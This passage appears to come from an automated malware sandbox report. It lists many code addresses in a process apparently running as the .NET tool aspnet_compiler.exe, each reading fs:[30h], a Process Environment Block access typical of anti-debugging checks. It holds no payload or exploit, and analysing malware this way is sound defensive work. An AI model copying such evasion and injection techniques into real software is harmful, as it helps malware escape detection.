          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134A197 mov eax, dword ptr fs:[00000030h]4_2_0134A197
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134A197 mov eax, dword ptr fs:[00000030h]4_2_0134A197
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134A197 mov eax, dword ptr fs:[00000030h]4_2_0134A197
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014261E5 mov eax, dword ptr fs:[00000030h]4_2_014261E5
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01390185 mov eax, dword ptr fs:[00000030h]4_2_01390185
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013801F8 mov eax, dword ptr fs:[00000030h]4_2_013801F8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0140C188 mov eax, dword ptr fs:[00000030h]4_2_0140C188
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0140C188 mov eax, dword ptr fs:[00000030h]4_2_0140C188
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CE1D0 mov eax, dword ptr fs:[00000030h]4_2_013CE1D0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CE1D0 mov eax, dword ptr fs:[00000030h]4_2_013CE1D0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CE1D0 mov ecx, dword ptr fs:[00000030h]4_2_013CE1D0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CE1D0 mov eax, dword ptr fs:[00000030h]4_2_013CE1D0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CE1D0 mov eax, dword ptr fs:[00000030h]4_2_013CE1D0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E6030 mov eax, dword ptr fs:[00000030h]4_2_013E6030
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134A020 mov eax, dword ptr fs:[00000030h]4_2_0134A020
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134C020 mov eax, dword ptr fs:[00000030h]4_2_0134C020
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E016 mov eax, dword ptr fs:[00000030h]4_2_0136E016
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E016 mov eax, dword ptr fs:[00000030h]4_2_0136E016
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E016 mov eax, dword ptr fs:[00000030h]4_2_0136E016
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E016 mov eax, dword ptr fs:[00000030h]4_2_0136E016
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D4000 mov ecx, dword ptr fs:[00000030h]4_2_013D4000
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137C073 mov eax, dword ptr fs:[00000030h]4_2_0137C073
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01352050 mov eax, dword ptr fs:[00000030h]4_2_01352050
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D6050 mov eax, dword ptr fs:[00000030h]4_2_013D6050
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E80A8 mov eax, dword ptr fs:[00000030h]4_2_013E80A8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135208A mov eax, dword ptr fs:[00000030h]4_2_0135208A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134C0F0 mov eax, dword ptr fs:[00000030h]4_2_0134C0F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013920F0 mov ecx, dword ptr fs:[00000030h]4_2_013920F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134A0E3 mov ecx, dword ptr fs:[00000030h]4_2_0134A0E3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013580E9 mov eax, dword ptr fs:[00000030h]4_2_013580E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D60E0 mov eax, dword ptr fs:[00000030h]4_2_013D60E0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D20DE mov eax, dword ptr fs:[00000030h]4_2_013D20DE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014160B8 mov eax, dword ptr fs:[00000030h]4_2_014160B8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_014160B8 mov ecx, dword ptr fs:[00000030h]4_2_014160B8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141A352 mov eax, dword ptr fs:[00000030h]4_2_0141A352
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134C310 mov ecx, dword ptr fs:[00000030h]4_2_0134C310
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01370310 mov ecx, dword ptr fs:[00000030h]4_2_01370310
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138A30B mov eax, dword ptr fs:[00000030h]4_2_0138A30B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138A30B mov eax, dword ptr fs:[00000030h]4_2_0138A30B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138A30B mov eax, dword ptr fs:[00000030h]4_2_0138A30B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013F437C mov eax, dword ptr fs:[00000030h]4_2_013F437C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D035C mov eax, dword ptr fs:[00000030h]4_2_013D035C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D035C mov eax, dword ptr fs:[00000030h]4_2_013D035C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D035C mov eax, dword ptr fs:[00000030h]4_2_013D035C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D035C mov ecx, dword ptr fs:[00000030h]4_2_013D035C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D035C mov eax, dword ptr fs:[00000030h]4_2_013D035C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D035C mov eax, dword ptr fs:[00000030h]4_2_013D035C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D2349 mov eax, dword ptr fs:[00000030h]4_2_013D2349
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0140C3CD mov eax, dword ptr fs:[00000030h]4_2_0140C3CD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01348397 mov eax, dword ptr fs:[00000030h]4_2_01348397
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01348397 mov eax, dword ptr fs:[00000030h]4_2_01348397
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01348397 mov eax, dword ptr fs:[00000030h]4_2_01348397
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137438F mov eax, dword ptr fs:[00000030h]4_2_0137438F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137438F mov eax, dword ptr fs:[00000030h]4_2_0137438F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134E388 mov eax, dword ptr fs:[00000030h]4_2_0134E388
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134E388 mov eax, dword ptr fs:[00000030h]4_2_0134E388
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134E388 mov eax, dword ptr fs:[00000030h]4_2_0134E388
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E3F0 mov eax, dword ptr fs:[00000030h]4_2_0136E3F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E3F0 mov eax, dword ptr fs:[00000030h]4_2_0136E3F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136E3F0 mov eax, dword ptr fs:[00000030h]4_2_0136E3F0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013863FF mov eax, dword ptr fs:[00000030h]4_2_013863FF
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013603E9 mov eax, dword ptr fs:[00000030h]4_2_013603E9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A3C0 mov eax, dword ptr fs:[00000030h]4_2_0135A3C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A3C0 mov eax, dword ptr fs:[00000030h]4_2_0135A3C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A3C0 mov eax, dword ptr fs:[00000030h]4_2_0135A3C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A3C0 mov eax, dword ptr fs:[00000030h]4_2_0135A3C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A3C0 mov eax, dword ptr fs:[00000030h]4_2_0135A3C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A3C0 mov eax, dword ptr fs:[00000030h]4_2_0135A3C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013583C0 mov eax, dword ptr fs:[00000030h]4_2_013583C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013583C0 mov eax, dword ptr fs:[00000030h]4_2_013583C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013583C0 mov eax, dword ptr fs:[00000030h]4_2_013583C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013583C0 mov eax, dword ptr fs:[00000030h]4_2_013583C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D63C0 mov eax, dword ptr fs:[00000030h]4_2_013D63C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134823B mov eax, dword ptr fs:[00000030h]4_2_0134823B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01400274 mov eax, dword ptr fs:[00000030h]4_2_01400274
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01354260 mov eax, dword ptr fs:[00000030h]4_2_01354260
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01354260 mov eax, dword ptr fs:[00000030h]4_2_01354260
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01354260 mov eax, dword ptr fs:[00000030h]4_2_01354260
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134826B mov eax, dword ptr fs:[00000030h]4_2_0134826B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134A250 mov eax, dword ptr fs:[00000030h]4_2_0134A250
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356259 mov eax, dword ptr fs:[00000030h]4_2_01356259
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D8243 mov eax, dword ptr fs:[00000030h]4_2_013D8243
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D8243 mov ecx, dword ptr fs:[00000030h]4_2_013D8243
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013602A0 mov eax, dword ptr fs:[00000030h]4_2_013602A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013602A0 mov eax, dword ptr fs:[00000030h]4_2_013602A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E62A0 mov eax, dword ptr fs:[00000030h]4_2_013E62A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E62A0 mov ecx, dword ptr fs:[00000030h]4_2_013E62A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E62A0 mov eax, dword ptr fs:[00000030h]4_2_013E62A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E62A0 mov eax, dword ptr fs:[00000030h]4_2_013E62A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E62A0 mov eax, dword ptr fs:[00000030h]4_2_013E62A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E62A0 mov eax, dword ptr fs:[00000030h]4_2_013E62A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138E284 mov eax, dword ptr fs:[00000030h]4_2_0138E284
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138E284 mov eax, dword ptr fs:[00000030h]4_2_0138E284
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D0283 mov eax, dword ptr fs:[00000030h]4_2_013D0283
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D0283 mov eax, dword ptr fs:[00000030h]4_2_013D0283
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D0283 mov eax, dword ptr fs:[00000030h]4_2_013D0283
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013602E1 mov eax, dword ptr fs:[00000030h]4_2_013602E1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013602E1 mov eax, dword ptr fs:[00000030h]4_2_013602E1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013602E1 mov eax, dword ptr fs:[00000030h]4_2_013602E1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A2C3 mov eax, dword ptr fs:[00000030h]4_2_0135A2C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A2C3 mov eax, dword ptr fs:[00000030h]4_2_0135A2C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A2C3 mov eax, dword ptr fs:[00000030h]4_2_0135A2C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A2C3 mov eax, dword ptr fs:[00000030h]4_2_0135A2C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135A2C3 mov eax, dword ptr fs:[00000030h]4_2_0135A2C3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360535 mov eax, dword ptr fs:[00000030h]4_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360535 mov eax, dword ptr fs:[00000030h]4_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360535 mov eax, dword ptr fs:[00000030h]4_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360535 mov eax, dword ptr fs:[00000030h]4_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360535 mov eax, dword ptr fs:[00000030h]4_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360535 mov eax, dword ptr fs:[00000030h]4_2_01360535
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E53E mov eax, dword ptr fs:[00000030h]4_2_0137E53E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E53E mov eax, dword ptr fs:[00000030h]4_2_0137E53E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E53E mov eax, dword ptr fs:[00000030h]4_2_0137E53E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E53E mov eax, dword ptr fs:[00000030h]4_2_0137E53E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E53E mov eax, dword ptr fs:[00000030h]4_2_0137E53E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E6500 mov eax, dword ptr fs:[00000030h]4_2_013E6500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424500 mov eax, dword ptr fs:[00000030h]4_2_01424500
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138656A mov eax, dword ptr fs:[00000030h]4_2_0138656A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138656A mov eax, dword ptr fs:[00000030h]4_2_0138656A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138656A mov eax, dword ptr fs:[00000030h]4_2_0138656A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358550 mov eax, dword ptr fs:[00000030h]4_2_01358550
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358550 mov eax, dword ptr fs:[00000030h]4_2_01358550
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013745B1 mov eax, dword ptr fs:[00000030h]4_2_013745B1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013745B1 mov eax, dword ptr fs:[00000030h]4_2_013745B1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D05A7 mov eax, dword ptr fs:[00000030h]4_2_013D05A7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D05A7 mov eax, dword ptr fs:[00000030h]4_2_013D05A7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D05A7 mov eax, dword ptr fs:[00000030h]4_2_013D05A7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138E59C mov eax, dword ptr fs:[00000030h]4_2_0138E59C
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01384588 mov eax, dword ptr fs:[00000030h]4_2_01384588
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01352582 mov eax, dword ptr fs:[00000030h]4_2_01352582
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01352582 mov ecx, dword ptr fs:[00000030h]4_2_01352582
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E5E7 mov eax, dword ptr fs:[00000030h]4_2_0137E5E7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E5E7 mov eax, dword ptr fs:[00000030h]4_2_0137E5E7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E5E7 mov eax, dword ptr fs:[00000030h]4_2_0137E5E7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E5E7 mov eax, dword ptr fs:[00000030h]4_2_0137E5E7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E5E7 mov eax, dword ptr fs:[00000030h]4_2_0137E5E7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E5E7 mov eax, dword ptr fs:[00000030h]4_2_0137E5E7
